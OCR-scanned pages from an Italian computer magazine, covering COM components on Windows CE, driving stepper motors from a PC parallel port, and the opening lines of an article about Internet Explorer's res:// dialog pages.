della vTable del nostro componente di esempio 
MyObject. Possiamo notare come i metodi della inter- 
faccia IUnknown siano sempre i primi tre nella vTable, 
dopo seguiranno i metodi delle altre interfacce imple- 
mentati dal componente. Dal punto di vista strutturale, 
possiamo vedere una interfaccia come una struttura 
contenente un array di puntatori a funzione. Le classi 
astratte pure del linguaggio C++ possono essere utiliz- 
zate per descrivere le interfacce COM dato che hanno 
le due principali caratteristiche delle interfacce in gene- 
rale: 

1 . Gli oggetti di una classe base astratta non possono 
essere istanziati. 

2. Le classi che ereditano da una classe base astrat- 
ta devono implementare tutte le sue funzioni. 

È appena il caso di evidenziare che una volta che una 
interfaccia è stata definita essa non può essere cam- 
biata. Questo vuol dire, ad esempio, che non possiamo 
aggiungere la definizione di altre funzioni, modificare la 
firma delle funzioni già definite e neanche modificare 
l'ordine di definizione. Se la modifica della dichiarazio- 
ne di una interfaccia si rende proprio necessaria perché 
le specifiche progettuali sono cambiate, allora bisogna 
creare una nuova interfaccia. In queste condizioni un 
componente COM può implementare non solo la 
nuova interfaccia ma anche la vecchia versione per 
garantire, ad esempio, la compatibilità all'indietro per le 
applicazioni che già ne facevano uso. 



MODALITÀ DI COMUNICAZIONE 
PER GLI OGGETTI COM 

Abbiamo detto che la tecnologia COM consente il pro- 
cesso di interoperabilità tra applicazioni eterogenee. A 
tale scopo la libreria di runtime supporta diverse fun- 
zionalità. Non tutte le funzionalità che siamo abituati a 
conoscere nella versione desktop del runtime sono di- 
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sponibili in Windows CE. In Tab. 1 . e Tab. 2. sono elen- 
cate le varie tipologie di comunicazione offerte dalla 
tecnologia COM su diverse versioni dei sistemi opera- 
tivi Windows e Windows CE. In modo particolare dalla 
Tab. 2 si evince che l'implementazione della tecnologia 
COM nelle varie versioni di Windows CE sia stata pro- 
gressiva e soprattutto migliorata sia in termini di effi- 
cienza che di affidabilità. Inoltre, la Microsoft già offre 
varie modalità di comunicazione in Windows CE e altre 
sono in fase di realizzazione con le nuove versioni del 
sistema operativo per sistemi embedded. 
A questo punto descriviamo in particolare le varie mo- 
dalità di comunicazione offerte dalla tecnologia COM 
sottolineando le differenze nell'implementazione tra si- 
stemi desktop e sistemi embedded. 

In Place Activation 

L'implementazione del modello In Place Activation nel- 
la tecnologia COM, consente ad una applicazione di 
includere nel suo file di dati un altro oggetto. In tal caso 
l'applicazione rappresenta il contenitore dell' oggetto 
ed è possibile modificarlo direttamente nell'ambiente 
host, ovvero l'oggetto inserito viene attivato diretta- 
mente nella applicazione ospitante. Un esempio molto 
comune relativo ai sistemi desktop è rappresentato 
dalla possibilità di includere in un file Word un foglio di 
lavoro Excel. Dalla Tab. 2. si evince che nell'imple- 
mentazione per Windows CE della tecnologia COM 
tale modalità di comunicazione non è supportata. 

Controlli ActiveX 

Il fatto che in Windows CE non sia supportata il model- 
lo In Place Activation non rappresenta una grave limi- 
tazione. Il modello precedente soffre di un grave pro- 
blema: attivare un oggetto direttamente nell'applicazio- 



Versioni 
di Windows 


Windows 
95/98 


Windows 
NT 4.0 


Windows 
2000 


In Place Activation 


SI 


SI 


SI 


ActiveX Controls 


SI 


SI 


SI 


Inproc 


SI 


SI 


SI 


EXE to EXE 


SI 


SI 


SI 


MTS 


Solo parte Client 


SI 


SI 


DCOM 


Limitata 


SI 


SI 


COM+ Services 


Solo lato Client 


SI 


SI 



Tab. 1: Modalità di comunicazione della tecnologia 
COM supportati in Windows per sistemi desktop. 



ne ospitante per modificarlo comporta lunghi tempi di 
caricamento del relativo programma di appartenenza. I 
controlli ActiveX rappresentano una soluzione elegan- 
te al problema. Inoltre, in Windows CE il supporto ai 
controlli ActiveX è presente sin dalla versione 1 .0 e la 
dice lunga sull'importanza assunta da tale modello di 
comunicazione. Infatti, molti controlli di interfaccia uten- 
te che possiamo trovare negli ambienti visuali per lo 
sviluppo di applicazioni di Mobile Computing sono im- 
plementati usando controlli ActiveX. 
Lo sviluppo di controlli ActiveX è fortemente consiglia- 
to quando si vogliono ottenere moduli di codice riutiliz- 
zabili. 

In Process Activation (Inproc) 

Questo modello è stato implementato in Windows CE 
sia dalla versione 2.x e presenta molti elementi in 
comune con l'equivalente versione desktop. I server 
COM in Process rappresentano in pratica dei controlli 
ActiveX senza interfaccia utente. Il loro utilizzo è molto 
simile alle utilizzo di API standard del sistema operati- 
vo Windows CE. In particolare, allo stesso modo delle 
API di sistema, il server COM (sempre incapsulato in 
una DLL) è caricato nello spazio di processo del client. 
In seguito alla operazione di caricamento nello spazio 
di indirizzo del processo del client, è possibile richia- 
mare le funzioni esportate dall'interfaccia o interfacce 
implementate dal componente COM. La caratteristica 
peculiare di questo modello di comunicazione è dovu- 
ta al fatto che il contesto di esecuzione del componen- 
te COM è interna allo spazio del processo client, per 
cui i tempi di risposta delle funzioni sono più rapidi 
rispetto ad un server COM con contesto di esecuzione 
esterno. Uno svantaggio nell'utilizzo di server COM di 
tale tipo è dovuto ai possibili crash nell'applicazione 
client, poiché il componente è caricato nel suo stesso 
spazio di indirizzi e può effettuare operazioni non sicu- 
re a livello di sistema. Èresponsabilità del progettista 
del modulo COM, quindi, garantire sulla sua affidabilità 
e sulle prestazioni. Un crash del sistema può, infatti, 
comportare non solo la possibile inconsistenza nell'ap- 
plicazione host ma probabilmente anche perdita del- 
l'integrità referenziale di un sistema di database, nel 
caso di componenti appartenenti al livello di accesso ai 
dati. 

Dobbiamo precisare che il modello di attivazione In 
process è l'unico supportato in Windows CE. 



Versioni 
di Windows CE 


In Place 
Activation 


ActiveX 
controis 


Inproc 


EXEtoEXE 


MTS 


DCOM 


COM+ Services 


Windows CE 1 .0 


No 


No 


No 


No 


No 


No 


No 


Windows CE 2.x 


No 


SI 


SI 


No 


No 


Si 


No 


Windows CE 3.0 


No 


SI 


SI 


SI 


SI ma solo client 


SI 


Solo il client MSMQ 



Tab. 2: Modalità di comunicazione della tecnologia COM supportati in Windows CE per sistemi Embedded. 
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Out of Process Communication (Exe to Exe) 

Sia nei sistemi desktop che in quelli embedded è fon- 
damentale permettere la comunicazione tra una appli- 
cazione client e un componente COM anche al di fuori 
dello spazio di indirizzi del processo del client. Tale tipo 
di comunicazione è più comunemente conosciuta come 
Out of Process Communication. È fondamentale che 
sia implementata dal COM una speciale interfaccia, 
nota con il nome di Automation, affinchè sia possibile 
tale tipo di comunicazione. È appena il caso di sottoli- 
neare che poiché i server COM out of Process sono 
eseguiti in uno spazio di indirizzi esterno al processo del 
client, occorre effettuare un processo noto come mar- 
shalling delle interfacce. Durante il processo di mar- 
shalling si permette di trasmettere gli argomenti passa- 
ti ad un metodo oltre i limiti del processo client. Dalla 
versione 3.0 di Windows CE esiste il supporto per que- 
sto tipo di comunicazione tra processi, e inoltre sono 
anche supportate procedure standard di marshalling le 
quali, in effetti, simulano un server COM DLL all'interno 
dell'applicazione client. Anche per i server COM out of 
process del sistema operativo embedded, valgono le 
stesse considerazioni per i sistemi operativi Windows 
dei sistemi desktop: le performance di tali componenti 
sono più basse rispetto alle altre tipologie di comunica- 
zione. Infatti, il processo di marshalling richiede il tra- 
sferimento del controllo attraverso diversi moduli del 
sistema operativo e la verifica di informazioni sulla sicu- 
rezza. Il grosso vantaggio nell'utilizzo di tale modello sta 
nella assoluta impossibilità di crash dell'applicazione 
client data la separazione tra gli spazi di indirizzi tra ser- 
ver COM e client. 

MTS 

La sicurezza nell'utilizzo di server COM e la necessità 
di evitare crash dell'applicazione client a causa di un 
COM poco sicuro, sono aspetti fondamentali in un buon 
progetto orientato ad oggetti. Sarebbe auspicabile poter 
avere in una volta sola il vantaggio della velocità nel 
tempo di risposta offerta dai server COM In process e la 
sicurezza nell'assenza di crash del client offerti dai ser- 
ver COM out of Process. In affetti, la risposta Microsoft 
a tale necessità è stata data dalla progettazione dalla 
utilità DLLHOST.EXE. Specifichiamo subito che il mag- 
gior pregio di tale utilità risiede nel fatto che riesce a 
simulare un server COM DLL in Process come proces- 
so esterno. Infatti, in tale scenario l'ambiente host del 
server COM non è rappresentato dalla applicazione 
vera e propria ma dalla DLLHOST.EXE stessa. Questa 
tecnica ha poi avuto ulteriori raffinamenti con Microsoft 
Transaction Server (MTS). 

Oltre alla funzionalità provvista da DLLHOST.EXE, 
MTS permette la registrazione di transazioni e il multi- 
threading su server COM con modello a singolo thread. 



Bisogna evidenziare che Windows CE non supporta le 
tecnologie MTS e DLLHOST.EXE come documentato 
dalle tabelle precedenti. E' appena il caso di evidenzia- 
re che dalla versione 3.0 di Windows CE esiste il sup- 
porto per DCOM. La tecnologia DCOM permette la 
comunicazione da palmare verso server COM ospitati 
su computer desktop. Per cui un dispositivo palmare 
Windows CE based può connettersi come client ad 
applicazioni con supporto MTS e ospitate su computer 
remoti. 

COM+ Services 

Un ulteriore passo avanti nello sviluppo di applicazioni 
enterprise con è stato fornito da Microsoft con il sistema 
operativo Windows 2000. Infatti, in Windows 2000 tro- 
viamo l'implementazione di un nuovo modello di comu- 
nicazione rappresentato dai COM+ Services. L'utilizzo 
di tale tecnologia che permette la progettazione di com- 
ponentistica di middleware, permette di usufruire di 
accattivanti tecnologie di comunicazione all'interno del 
sistema operativo host quali ad esempio le code dei 
messaggi ed eventi di sistema. Anche in questo caso, 
dobbiamo dire che in Windows CE non esiste una con- 
troparte dei COM+ services in quanto interni al sistema, 
ma grazie al supporto alla tecnologia DCOM, è possibi- 
le collegarsi a tali servizi come client. Sotto questo 
aspetto i COM+ services installati su uno o più server in 
una LAN possono giocare un ruolo davvero sorpren- 
dente nello sviluppo di applicazioni di Mobile Computing 
su Mobile Devices in ambiente on line. 



CONCLUSIONI 

In questo articolo abbiamo rivisitato la architettura e la 
tecnologia COM relativamente al sistema operativo 
Windows CE. Fondamentali sono state le nostre digres- 
sioni sulle diverse modalità di comunicazione imple- 
mentate nel modello COM. Sono state nel contempo 
evidenziate le differenze esistenti tra sistemi operativi 
desktop e embedded. L'analisi svolta nel presente lavo- 
ro ci consentirà di costruire un componente COM da 
zero utilizzando C++ e in particolare ATL Wizard di 
embedded Visual C++. 

Analizzeremo in dettaglio il codice generato per noi dal 
wizard ed entreremo nei particolari della implementa- 
zione dei metodi esportati dai COM verso i client. Una 
volta appresa la struttura del codice del componente 
svilupperemo una applicazione che faccia uso del COM 
e ne sfrutti i servizi esportati dall'interfaccia. Vedremo in 
particolare tutto quello che occorre sapere per utilizza- 
re i COM e ridurre al minimo possibili memory leaks che 
farebbero degradare le prestazioni delle nostre applica- 
zioni COM based. 

Ing. Elmiro Tavolaro 
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Interfacciamento 

DEI MOTORI PASSO-PASSO 



Motori 

passo-passo 



Motori 



Ó 



passo-passo 

I motori passo pas- 
so sono componenti 
elettromeccanici fonda- 
mentali nella struttura di 
un Personal Computer. 
Sono inoltre facilmente 
reperibili, oltre che pres- 
so le aziende di vendita 
di componenti elettroni- 
ci, che come parti di 
recupero provenienti da 
periferiche guaste od ob- 
solete. 



Chiunque utilizzi un computer, 

inconsapevolmente si trova ad 

impiegare i motori passo-passo. 



Ormai quasi tutte le periferiche per PC sono 
dotate di questi componenti elettromeccani- 
ci: in ogni stampante, scanner o driver per 
floppy è presente almeno un motore passo-passo. 
L'utilizzo quotidiano della tecnologia può rischiare 
di farci perdere di vista il reale contenuto tecnico del- 
le apparecchiature che utilizziamo. L' abitudine all'u- 
tilizzo di apparecchi, sempre più sofisticati e potenti 
ci porta ad allontanarci sempre di più dalla gestione 
a basso livello della macchina: come è giusto che sia 
dall'altro conto rischia di limitare le nostre conoscen- 
ze tecniche. In effetti, fino a qualche anno fa, chi vo- 
leva produrre un proprio software, od una propria 
applicazione hardware /software era costretto a co- 
noscere in profondità le apparecchiature che utiliz- 
zava: un esempio classico era la scrittura di routine 
in linguaggio macchina, dove era necessaria una co- 
noscenza approfondita delle caratteristiche di un da- 
to microprocessore e di tutti i componenti hardware 
ad esso collegati. In quest'ottica anche la gestione di 
motori passo-passo necessita di un minimo di cono- 
scenze hardware, nonostante esistano in commercio 
alcune schede appositamente studiate allo scopo, 
che però presentano un solo svantaggio: un costo 
proibitivo. Vediamo quindi come gestire un motore 
passo passo, al modico prezzo di qualche euro (con- 
tro le decine o centinaia di euro necessarie per acqui- 
stare una scheda dedicata), ed apprendere le meto- 
dologie di interfaccia di questo tipo di motori. Per 
sfatare il luogo comune che la gestione hardware di 
un motore passo-passo sia un obiettivo difficoltoso 
da realizzare, in queste pagine opereremo una velo- 




Fig. 1: Sono disponibili in commercio motori 
passo-passo dotati di riduttore, che permettono di 
aumentare la coppia del motore e di aumentarne 
al contempo la precisione. 



ce carrellata sui vari tipi di motori passo-passo e pro- 
porremo alcuni semplici circuiti di controllo che per- 
mettano di gestirli con semplicità ed immediatezza. 



I MOTORI PASSO-PASSO 

Siamo abituati a pensare ad un motore elettrico come 
ad un congegno elettromeccanico che è in grado di 
azionare un determinato meccanismo, imprimendogli 
un movimento rotatorio continuo, attraverso il suo as- 
se. Questo è vero soltanto in parte per i motori passo- 
passo; infatti il movimento rotatorio dell'asse non è 
continuo, bensì a scatti, da qui il nome 'Motore Passo- 
Passo'. Il numero di passi che il motore deve effettua- 
re per compiere un giro completo è un parametro co- 
struttivo fisso e può variare da un minimo di quattro, 
fino a duecento passi/giro. E' molto comune trovare 
in commercio, oppure come componenti di recupero, 
motori da quarantotto passi per giro, spesso utilizzati 
come attuatori per stampanti e scanner. In effetti il 
modo migliore per procurarsi un motore di questo ge- 
nere per operare alcune semplici sperimentazioni, è 
quello di recuperarlo da una periferica guasta od ob- 
soleta, facilmente reperibile anche in negozi di parti di 
ricambio per computers. Una seconda alternativa è 
quella di acquistare questi componenti elettromecca- 
nici tramite una delle svariate organizzazioni di ven- 
dita per corrispondenza di componenti elettronici, fa- 
cilmente reperibili tramite Internet. Il vantaggio di 
questa seconda opzione è che si ha la possibilità di 
procurare un numero qualunque di motori di una da- 
ta caratteristica, oltre a potere disporre di una vasta 
scelta di componenti con una ampia gamma di carat- 
teristiche meccaniche ed elettroniche. Sono disponibi- 
li in commercio anche motori passo passo dotati di ri- 
duttore di velocità: in questo caso si ha la possibilità di 
ottenere un elevato valore di coppia, pur mantenendo 
peso e dimensioni molto contenute. A titolo di esem- 
pio possiamo dire che esistono motori in commercio 
capaci di fornire fino a 100N*cm, equivalenti ad una 
torsione di quasi dieci Kg per un braccio di un centi- 
metro dall'asse del motore. E' stato accennato in pre- 
cedenza che i motori passo passo ereditano questo no- 
me, dal momento che il loro asse ruota con movimen- 
to intermittente, ovverosia a 'Passi', di una entità an- 
golare predefinita. Scendiamo maggiormente nel det- 
taglio, operando una prima suddivisione fondamen- 
tale nella catalogazione di questo tipo di componenti: 
possiamo suddividere i motori passo-passo in motori 
unipolari e bipolari, caratteristica elettrica che ne condi- 
ziona fortemente le prestazioni, il modo di utilizzo e 
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la progettazione delle apposite interfacce di gestione. 

I MOTORI PASSO-PASSO 
BIPOLARI 

Nelle prime periferiche per computer, la maggior par- 
te dei motori passo passo era di tipo bipolare: per 
comprendere quale sia la tecnologia costruttiva di 
questi componenti facciamo riferimento allo schema 
elettrico che segue. Ovviamente lo schema elettrico è 
di molto semplificato ma, in linea di principio, possia- 
mo considerarlo valido per una macchina elettrica 
teorica da quattro passi per giro. Possiamo espandere 
il principio che andiamo ad illustrare anche a motori 
dotati di un numero più elevato di passi. Come notia- 
mo dalla figura, il motore è dotato di due avvolgi- 
menti ed immaginiamo che al centro dello statore sia 
posizionato un rotore a magnete permanente, ossia 
una semplice calamita di forma cilindrica, libera di 
ruotare intorno al suo asse. Se alimentiamo uno dei 




Fig. 2: I motori passo-passo Bifase Bipolari, sono 
riconoscibili perché presentano quattro terminali. 
Per essere controllati necessitano di transistors 
posizionati in Push-Pull, oppure di circuiti 
integrati dedicati. 

due avvolgimenti mediante una tensione continua, 
supponiamo per esempio la spira AB, il rotore, cioè la 
calamita dotata di polarità magnetica, si orienterà se- 
condo le linee del flusso magnetico indotto dall' av- 
volgimento dello statore. Se a questo punto togliamo 
l'alimentazione dall' avvolgimento AB e contempora- 
neamente alimentiamo ravvolgimento CD, otteniamo 
che il rotore, per allinearsi con Y avvolgimento ener- 
gizzato, compierà una rotazione che nel caso dell' e- 
sempio in questione possiamo calcolare in un quarto 
di giro. Applicando la sequenza appropriata di ali- 
mentazione degli avvolgimenti, otteniamo una rota- 
zione ben controllata ed assolutamente precisa del no- 




stro motore. Esistono diverse tecniche per fare ruotare 
un motore di questo genere: semplificando molto la 
trattazione possiamo riassumerle e classificarle a se- 
conda del numero di fasi che intendiamo alimentare, 
in particolare parliamo di 'One Phase On', 'Two Pha- 
se On' ed 'Half Step'. La sequenza più semplice da il- 
lustrare, e che è stata brevemente accennata fino a 
questo punto, è quella 'One Phase On', che consiste 
nell'alimentare una fase del motore per volta. 



One phase On 


A 


B 


C 


D 


Passo 1 


+ 


- 






Passo 2 






+ 


- 


Passo 3 


- 


+ 






Passo 4 






- 


+ 



Tab. 1: Passi necessari alla sequenza One Phases 
On. 



In Tab. 1 si descrive la sequenza in questione. Il segno 
V indica la polarità positiva di alimentazione, mentre 
il segno '-' la polarità negativa. Ovviamente è possibi- 
le ricominciare la sequenza dopo il passo 4 riprenden- 
dola dall'inizio: è possibile inoltre invertire il senso di 
rotazione eseguendo la sequenza al contrario. Il letto- 
re che disponga di un motore di questo tipo, potrà 
provarne il funzionamento per mezzo di una sempli- 
ce batteria quadrata da 4,5V. E' possibile anche fare 
ruotare il motore di ' mezzo passo', (' Half Step' ap- 
punto ) raddoppiandone la precisione ed il numero di 
passi per giro, utilizzando la sequenza riportata in 
Tab. 2. 



Half Step 


A 


B 


C 


D 


Passo 1 


+ 


- 






Passo 2 


+ 


- 


+ 


- 


Passo 3 






+ 


- 


Passo 4 


- 


+ 


+ 


- 


Passo 5 


- 


+ 






Passo 6 


- 


+ 


- 


+ 


Passo 7 






- 


+ 


Passo 8 


+ 


- 


- 


+ 



Tab. 2: Sequenza di passi per realizzare I 
Step. 



Half 



Fig. 3: In figura viene riportato lo schema elettri- 
co di un motore passo-passo bipolare. 



Come si può notare il numero dei passi è stato rad- 
doppiato, facendo lavorare il motore a 'mezzo passo', 
semplicemente alimentando il motore in modo tale da 
aggiungere quattro passi ai quattro già esistenti, 
creando un campo magnetico che forzi il rotore in una 
posizione intermedia. Per completezza di trattazione 
citiamo anche la sequenza chiamata 'Two Phases On', 
che consiste nell'alimentare sempre due fasi per volta 
(Tab. 3). 

Il vantaggio di questa ultima sequenza, che apparen- 
temente può apparire inutile, rispetto alla prima è che 
permette un valore più elevato di coppia, nel caso sia 
necessaria una forza maggiore nella torsione dell'al- 
bero motore: il prezzo da pagare è una maggiore po- 
tenza dissipata. 




Motori 

passo-passo 



Interfacciamento 

dei motori 
Passo-Passo 



I motori 

passo-passo 

bipolari 

r& I motori passo 
^J passo bipolari 
presentano general- 
mente buone caratteri- 
stiche elettromeccani- 
che, ma presentano 
l'inconveniente di ne- 
cessitare di circuiti di 
controllo più complessi 
rispetto ai motori uni- 
polari. 
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Motori 

passo-passo 



Interfacciamento 

dei motori 
Passo-Passo 



I motori 

passo-passo 

unipolari 

r& I motori passo 
-J passo unipolari 
hanno il vantaggio di 
potere essere control- 
lati semplicemente 
con pochi componenti 
elettronici, anche se 
talvolta forniscono 
una coppia massima 
inferiore ad analoghi 
motori bipolari. 



Two phase On 


A 


B 


C 


D 


Passo 1 


+ 


- 


+ 


- 


Passo 2 


- 


+ 


+ 


- 


Passo 3 


- 


+ 


- 


+ 


Passo 4 


+ 


- 


- 


+ 



Tab. 3: Passi necessari per la sequenza Two Pha- 
ses On. 



I MOTORI PASSO-PASSO 
UNIPOLARI 

I motori passo passo unipolari, cronologicamente sus- 
seguenti a quelli bipolari, ed oggigiorno sicuramente 
maggiormente diffusi nelle apparecchiature elettroni- 
che, hanno alcune caratteristiche costruttive fonda- 
mentalmente differenti rispetto a quelli bipolari. Im- 
maginando il nostro motore teorico da quattro passi 
per giro, possiamo notare in Fig. 5 lo schema elettrico 
di questa interessante macchina elettrica. Notiamo in- 
nanzi tutto che il motore ha sei terminali anziché quat- 
tro, (talvolta si trovano in circolazione alcuni compo- 
nenti dotati di cinque terminali, semplicemente per- 
ché le due linee 'COMI' e 'COM2' sono collegate in- 
sieme). L'indubbio vantaggio di questa configurazio- 




Fig. 4: I motori passo-passo unipolari, presentano 
generalmente cinque o sei terminali. 



ne è che per ottenere la rotazione del motore non è più 
necessario cambiare la polarità di alimentazione di un 
certo avvolgimento, da qui il nome di 'motore unipo- 
lare', facilitando il progetto e la realizzazione dei cir- 
cuiti di controllo. A questo proposito accenniamo, co- 
me vedremo nel circuito di gestione che verrà propo- 




sto più innanzi, che per comandare questo tipo di 
macchina elettrica è sufficiente una semplice serie di 
transistor, al posto delle configurazioni elettroniche 
più complesse necessarie per la gestione delle versio- 
ni bipolari. Normalmente però, a parità di dimensio- 
ne, un motore unipolare sviluppa una coppia inferio- 
re rispetto ad un equivalente bipolare. Riportiamo 
brevemente la sequenza completa per alimentare un 
motore unipolare 'One Phase On', in analogia a quan- 
to esposto in precedenza: per le altre due sequenze di- 
ciamo semplicemente che possono essere comoda- 
mente ricavate dal lettore da quelle proposte in prece- 
denza, eliminando il simbolo dell'alimentazione ne- 
gativa '-', dal momento che i due terminali comuni 
('COMI' e 'COM2') vengono comunque collegati al 
negativo dell'alimentazione (Tab. 4). 



One phase On 


A 


B 


C 


D 


Passo 1 


+ 








Passo 2 






+ 




Passo 3 




+ 






Passo 4 








+ 


N.B. COMI e Com2 '-' 



Fig. 5: I motori passo-passo unipolari semplifica- 
no di molto la progettazione dei circuiti di con- 
trollo, dal momento che necessitano di un sempli- 
ce array di transistors per la loro gestione. 



Tab. 4: Sequenza One Phases On per motori uni- 
polari. 



UN SEMPLICE CIRCUITO 

PER LA GESTIONE 

DI MOTORI PASSO-PASSO 

Fino ad ora abbiamo esaminato brevemente la strut- 
tura tecnologica costruttiva dei motori passo passo 
unipolari e bipolari. Abbiamo visto anche come sia 
possibile controllare questi motori alimentandoli con 
una determinata sequenza: abbiamo appreso come 
operare una prima esperienza pratica utilizzando una 
comune batteria quadrata da 4,5V ed un qualunque ti- 
po di motore passo passo. A questo punto vogliamo 
proporre un circuito idoneo a pilotare un motore pas- 
so passo per mezzo di un Personal Computer. Innan- 
zi tutto, diciamo che intendiamo utilizzare la porta 
parallela per azionare i nostri motori: se il lettore ha 
avuto modo di realizzare l'interfaccia universale per 
PC che è stata descritta nelle pagine di questa rivista 
pochi numeri fa, non avrà alcun tipo di problema nel 
realizzare le esperienze che verranno proposte di se- 
guito. In caso contrario vengono riportate tutte le con- 
nessioni sufficienti al fine della realizzazione pratica 
del circuito in questione. Esaminando lo schema ri- 
portato nella Fig. 6 e procedendo da sinistra a destra, 
notiamo innanzi tutto la connessione alla nostra porta 
parallela del PC. Precisiamo innanzi tutto che lo sche- 
ma proposto è in grado di gestire motori passo passo 
unipolari, di qualsiasi numero di passi per giro, for- 
nendo una alimentazione di +5V. La scelta del tipo di 
motori è stata fatta in relazione alla loro maggiore dif- 
fusione. Lo schema può essere comunque modificato 
anche per i motori bipolari, semplicemente sostituen- 
do ai trasistor una configurazione Push-Pull, oppure 
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D0(Ein2) 3 _ 2 K 

o □ 

Dl(Pin3) 2.2 K 

O Q- 

D2 (Pin4) 

O 

D3 (PinS) 

O 

GND(Pin 18-25) 

% 

Scheda Universale 
(Poeta Parallela) 




2.2 K 

— n- 



Sinai 1 S i-eppec Ho toc 



+5V 

^3 



2.2 K 

— n- 



Fig. 6: In figura viene proposto uno schema elet- 
trico per il controllo di motori passo-passo unipo- 
lari attraverso la porta parallela del PC: i compo- 
nenti sono dimensionati per piccoli motori. 



utilizzando appositi circuiti integrati: la trattazione di 
queste metodologie esula comunque dallo scopo di 
queste pagine e ci proponiamo di approfondirlo even- 
tualmente in un appuntamento successivo. Tornando 
al nostro circuito, possiamo notare, in prossimità del- 
le connessioni della porta parallela, il nome della linea 
ed il numero del piedino, sul quale può essere indivi- 
duato. Si può notare che i piedini compresi tra il 18 ed 
il 25 vengono collegati alla massa del circuito: oltre a 
ciò appare evidente che stiamo utilizzando soltanto i 
quattro bit meno significativi della porta (D0-D3) e 
che quindi è possibile, producendo un circuito gemel- 
lo connesso ai bit D4-D7, pilotare un secondo motore 
passo passo con la stessa porta. Procedendo verso de- 
stra, nello schema troviamo quattro transistor che fun- 
gono da circuiti di controllo delle quattro linee del 
motore; il circuito è dotato di una resistenza di base 
che permette la polarizzazione del transistor durante 
la fase di conduzione. In breve quando su una o più li- 
nee di uscita della porta parallela si trova un livello 
positivo, corrispondente ad un T logico, la base dei 
transistor viene polarizzata, attraverso l'apposita resi- 
stenza di base, portandolo in conduzione. Durante 
questa fase di conduzione, viene permesso il passag- 
gio di corrente tra collettore ed emettitore del transi- 
stor stesso, che fluisce quindi anche attraverso gli av- 
volgimenti del motore, innescandone il movimento. 
Per ottenere la rotazione del motore, occorre a questo 
punto inviare alla porta parallela e quindi al circuito 
in questione una apposita sequenza di segnali come 
esposto in precedenza. Un ultimo aspetto degno di 
nota riguarda il fatto che il comune ( od i comuni 
COMI e COM2 ) vengono collegati al positivo di ali- 
mentazione: questo si rende necessario quando si uti- 
lizza questa configurazione circuitale, detta ad emetti- 
tore comune con transistor NPN. Il circuito presentato 
in questa sede è stato necessariamente semplificato fi- 
no all'estremo, per motivi di chiarezza espositiva: ov- 
viamente avrebbe bisogno di un certo numero di ac- 
corgimenti costruttivi, come ad esempio un circuito 
pilota formato da optoisolatori per isolare la parte 



connessa ai motori dall'elettronica del computer, per 
evitare problemi di interferenze generate dalle extra- 
tensioni di apertura dei motori. 
A questo scopo sarebbero necessari anche una certa 
quantità di filtri e di protezioni per l'elettronica del 
Computer. 

REALIZZAZIONE 
PRATICA DEL CIRCUITO 

Per procedere alla realizzazione del circuito è possibi- 
le utilizzare la scheda universale già proposta su que- 
sta rivista. In alternativa è possibile procedere al mon- 
taggio del circuito utilizzando una scheda millefori 
per montaggi sperimentali. Dopo avere realizzato tut- 
to il circuito, prima della connessione al PC verifichia- 
mo che tutte le connessioni siano state effettuate cor- 
rettamente, in quanto un cablaggio errato può portare 
in casi estremi al danneggiamento della porta paralle- 
la, o peggio della scheda madre del computer. A que- 
sto punto, una volta che siamo assolutamente certi 
della bontà delle connessioni e delle saldature che ab- 
biamo effettuato, con il circuito chiuso in un conteni- 
tore plastico possiamo procedere ad alimentare prima 
il motore, per mezzo di un alimentatore da +5V, op- 
pure con una 'serie' di batterie. 
Possiamo procedere all'accensione del computer. In 
considerazione di quanto detto, si raccomanda al let- 
tore la massima cura nella realizzazione del circuito, 
con gli accorgimenti di rito: se non siamo proprio 
esperti di cablaggi elettronici, facciamoci aiutare da 
chi è più pratico. 

Evitiamo assolutamente di operare modifiche o di toc- 
care il circuito con motori o PC alimentati; nel caso di 
malfunzionamenti provvediamo a spegnere tutto pri- 
ma di lavorare sul circuito elettrico. 



CONCLUSIONI 

In queste pagine abbiamo visto come sono costruiti e 
come possono essere gestiti i motori passo passo. Ab- 
biamo analizzato le tipologie di questi componenti e 
le sequenze necessarie alla loro gestione. 
E' stato infine proposto un semplice circuito didattico 
per la gestione dei motori unipolari. Non resta che ag- 
giungere l'usuale 'Disclaimer' di rito: quanto esposto 
in queste pagine è stato debitamente verificato e col- 
laudato, tuttavia viene riportato a scopo illustrativo e 
di studio, pertanto l'editore e l'autore non sono da 
considerare responsabili per eventuali conseguenze 
derivanti dell'utilizzo di quanto esposto in questa se- 
de, soprattutto per la tipologia e la complessità del- 
l'argomento. Nella rubrica riguardante il linguaggio 
di programmazione Delphi, viene riportato un pro- 
gramma completo e funzionante, nonché dotato di co- 
dici sorgente, per la gestione Software dei motori pas- 
so- passo. 

Luca Spuntoni 
(spuntosoft@tiscalinet.it) 








Motori 

passo-passo 



Interfacciamento 

dei motori 
Passo-Passo 



Gestione 
di motori 
passo-passo 

^sl Con pochi compo- 
^J nenti elettronici è 
possibile realizzare un 
semplice circuito di 
controllo per motori 
passo passo unipolari: 
si consiglia di inserire 
un diodo di protezione 
dalle correnti di extra- 
tensione di apertura del 
motore, per evitare 
possibili malfunziona- 
menti del PC, tra le li- 
nee del motore e la 
massa. 



Realizzazione 
pratica 
del circuito 

rì> Il circuito presen- 
^-J tato in questa se- 
de è stato semplificato 
all'estremo per ovvi 
motivi didattici: si con- 
siglia di prestare la 
massima attenzione al- 
la realizzazione del cir- 
cuito, allo scopo di evi- 
tare possibili danneg- 
giamenti alla porta pa- 
rallela del PC: è consi- 
gliabile inserire un cir- 
cuito di disaccoppia- 
mento PC-Scheda di 
controllo, dotato maga- 
ri di accoppiatori ottici. 
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I rischi 



DELLE FINESTRE DI DIALOGO DI IE 

Vi siete mai chiesti cosa succede quando si digita un URL che non esiste? 
Qualche tempo fa sarebbe apparso un semplice messaggio di "Error 404: 
not found", oggi invece IE visualizza messaggi di errore "cordiali" 
e "user-friendly", impaginati e formattati come una pagina HTML. 



File sul CD 



\soft\codice\DLG_exploit.zip 




Fig. 1: PAGE NOT FOUND? Molte 
pagine di sistema e alcune finestre di 
dialogo di Internet Explorer sono in 
realtà pagine HTML prelevate dalla 
libreria SHDOCLC.DLL. Il browser 
accede a questa libreria mediante il 
prefisso res://. 




Fig. 2: ABOUT. Un esempio tipico di 
finestra di dialogo è quello del 
comando ? / Informazioni su di IE, che 
corrisponde ad una richiesta di 
res://shdoclc/about.dlg. Molte 
funzioni di IE sono implementate in 
questa maniera. 



Se non ci avete fatto mai caso, è possibile 
provarne uno in qualsiasi momento di- 
gitando ad esempio l'indirizzo (voluta- 
mente errato) http://www.itportal.it /xyz. (Fig. 1) 
Da dove prende questi messaggi (che sono 
pagine web vere e proprie) Internet Explorer? 
Scoprirlo è facile, basta infatti cliccare su File / 
